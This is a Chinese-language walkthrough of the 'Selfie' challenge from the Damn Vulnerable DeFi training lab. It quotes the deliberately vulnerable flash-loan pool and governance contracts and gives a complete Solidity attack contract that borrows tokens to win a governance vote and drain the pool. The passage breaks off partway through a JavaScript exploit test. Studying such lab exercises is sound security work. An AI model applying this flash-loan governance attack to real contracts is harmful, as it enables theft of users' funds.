Damn Vulnerable DeFi靶场实战（6-10）-Toy模板网

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Selfie

分析

题目要求：

A new cool lending pool has launched! It’s now offering flash loans of
DVT tokens.

Wow, and it even includes a really fancy governance mechanism to
control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million.
Your objective: take them all.

大意是有一个提供DVT代币的闪电贷，池中有一百五十万个DVT，而我们一无所有，但我们需要拿走全部的DVT.
题目给了两个合约，一个是闪电贷合约，另一个是闪电贷的治理合约
闪电贷合约：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";

/**
 * @title SelfiePool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SelfiePool is ReentrancyGuard {
   

    using Address for address;

    ERC20Snapshot public token;
    SimpleGovernance public governance;

    event FundsDrained(address indexed receiver, uint256 amount);

    modifier onlyGovernance() {
   
        require(msg.sender == address(governance), "Only governance can execute this action");
        _;
    }

    constructor(address tokenAddress, address governanceAddress) {
   
        token = ERC20Snapshot(tokenAddress);
        governance = SimpleGovernance(governanceAddress);
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
   
        uint256 balanceBefore = token.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        token.transfer(msg.sender, borrowAmount);        
        
        require(msg.sender.isContract(), "Sender must be a deployed contract");
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveTokens(address,uint256)",
                address(token),
                borrowAmount
            )
        );
        
        uint256 balanceAfter = token.balanceOf(address(this));

        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

    function drainAllFunds(address receiver) external onlyGovernance {
   
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);
        
        emit FundsDrained(receiver, amount);
    }
}

这个合约只有两个函数，一个函数用来进行闪电贷，在其中触发我们的receiveTokens函数，另一个函数只有治理合约能够调用，用来向其他合约转钱。
治理合约：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title SimpleGovernance
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SimpleGovernance {
   

    using Address for address;
    
    struct GovernanceAction {
   
        address receiver;
        bytes data;
        uint256 weiAmount;
        uint256 proposedAt;
        uint256 executedAt;
    }
    
    DamnValuableTokenSnapshot public governanceToken;

    mapping(uint256 => GovernanceAction) public actions;
    uint256 private actionCounter;
    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

    event ActionQueued(uint256 actionId, address indexed caller);
    event ActionExecuted(uint256 actionId, address indexed caller);

    constructor(address governanceTokenAddress) {
   
        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        actionCounter = 1;
    }
    
    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
   
        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
        require(receiver != address(this), "Cannot queue actions that affect Governance");

        uint256 actionId = actionCounter;

        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);
        return actionId;
    }

    function executeAction(uint256 actionId) external payable {
   
        require(_canBeExecuted(actionId), "Cannot execute this action");
        
        GovernanceAction storage actionToExecute = actions[actionId];
        actionToExecute.executedAt = block.timestamp;

        actionToExecute.receiver.functionCallWithValue(
            actionToExecute.data,
            actionToExecute.weiAmount
        );

        emit ActionExecuted(actionId, msg.sender);
    }

    function getActionDelay() public view returns (uint256) {
   
        return ACTION_DELAY_IN_SECONDS;
    }

    /**
     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
     */
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
   
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 &&
            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }
    
    function _hasEnoughVotes(address account) private view returns (bool) {
   
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

这个合约有两个函数，第一个函数的意思是，当你拥有了矿池中半数以上的DVT代币后，你就能够通过这个合约执行一次调用操作，queueAction函数会验证你是否拥有足够的token，如果有则将你想要执行的调用存入链上，在两天之后输入你的id即可在executeAction中执行该调用。

很明显，我们需要存入并且执行调用，我们可以在executeAction函数中去执行闪电贷合约中的drainAllFunds函数，这样即可绕开onlyGovernance的限定，将闪电贷合约中的token全部发送给我们，掏空该合约。

攻击

攻击合约：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SelfiePool.sol";
import "./SimpleGovernance.sol";
contract selfieAttack{
   
    using Address for address;
    SelfiePool public pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    bytes data;
    uint256 acountID;
    constructor(address _pool,address _governance,address attacker,address _token){
   
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }
    function loan(uint256 amount,bytes memory _data)public payable{
   
        data = _data;
        pool.flashLoan(amount);
    }
    function receiveTokens(address _token,uint256 amount)public{
   
        token.snapshot();
        acountID = governance.queueAction(address(pool),data,0);
        token.transfer(msg.sender,amount);
    }
    function complete()public{
   
        governance.executeAction(acountID);
        token.transfer(msg.sender,token.balanceOf(address(this)));
    }
    
    fallback()external payable{
   

    }
}

攻击原理很简单，先闪电贷借出全部的token，然后再receiveTokens函数中调用queueAction函数，将构造好的data和闪电贷合约地址传入，然后将钱返还给闪电贷合约。最后调用complete函数，执行executeAction函数，将钱转入我们的账户。
js攻击合约：文章来源地址https://www.toymoban.com/news/detail-811597.html

it('Exploit', async function () {
   
        /** CODE YOUR EXPLOIT HERE */
        const data = web3.eth.abi.encodeFunctionCall(
            {
   
                name:'drainAllFunds',
                type:'function',
                inputs:[{
   
                    type:'address',
                    name:'receiver'

                }]
            },[attacker.address]);
        const SelfieAttackFactory = await ethers.getContractFactory("selfieAttack",attacker);
        this.attack =await SelfieAttackFactory.deploy(this.pool.address,this.governance.address,attacker.address,this.token.address)